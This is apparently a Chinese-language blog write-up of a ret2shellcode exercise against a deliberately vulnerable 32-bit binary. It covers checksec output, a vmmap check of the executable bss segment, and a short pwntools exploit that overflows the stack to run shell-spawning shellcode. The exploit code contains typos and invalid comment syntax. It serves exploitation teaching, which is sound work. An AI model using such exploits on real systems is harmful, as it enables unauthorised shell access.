ret2shellcode

原理

ret2shellcode,即控制程序執(zhí)行 shellcode代碼。shellcode 指的是用于完成某個功能的匯編代碼,常見的功能主要是獲取目標系統(tǒng)的 shell。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執(zhí)行的代碼。在棧溢出的基礎上,要想執(zhí)行 shellcode,需要對應的 binary 在運行時,shellcode 所在的區(qū)域具有可執(zhí)行權限。


0x1

拿道題之后先查看它的保護機制

-> checksec shellcode

Arch:? ? i386-32-little

RELRO:? ? Partial RELRO

Stack:? ? No canary found

NX:? ? ? NX disabled

PIE:? ? ? No PIE (0x8048000)

RWX:? ? ? Has RWX segments

0x2

發(fā)現文件幾乎沒有開什么保護,并且具有可讀可寫可執(zhí)行的段。程序是32位的,直接扔到32位IDA里



可能存在一個棧溢出的漏洞,我們就可以利用漏洞。簡單分析程序發(fā)現還將輸入到S地址的數據復制到buf2里面,點開buf2發(fā)現buff2在bass段,我們再去找system(“/bin/sh”)按shift+F12發(fā)現沒有/bin/sh


0x3

我們先檢測一下buff2在bass段是否具有可讀可寫的可執(zhí)行的權限,如果有我們就講shellcode寫入拿到想到東西。

b main? //在main函數下斷點

r

vmmap //查看權限


通過 vmmap,我們可以看到 bss 段對應的段具有可執(zhí)行權限,那么這次我們就控制程序執(zhí)行 shellcode,也就是讀入 shellcode,然后控制程序執(zhí)行 bss 段處的 shellcode。其中,相應的偏移計算類似于ret2text 中的例子。

exp如下

frorm pwn import*

p = process("./ret2shellcode")? ?

// r = remote('ip',端口)

shellcode = asm(shellcraft.sh())?

//shellcode = asm(shellcraft.i386.linux.sh())

buf2 = 0x804a080

p.sendline(shellcode.ljust(112,'a') + p32(buf2))

p.interactive()



此篇文章如果存在問題,還望大佬批評指正

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

友情鏈接更多精彩內容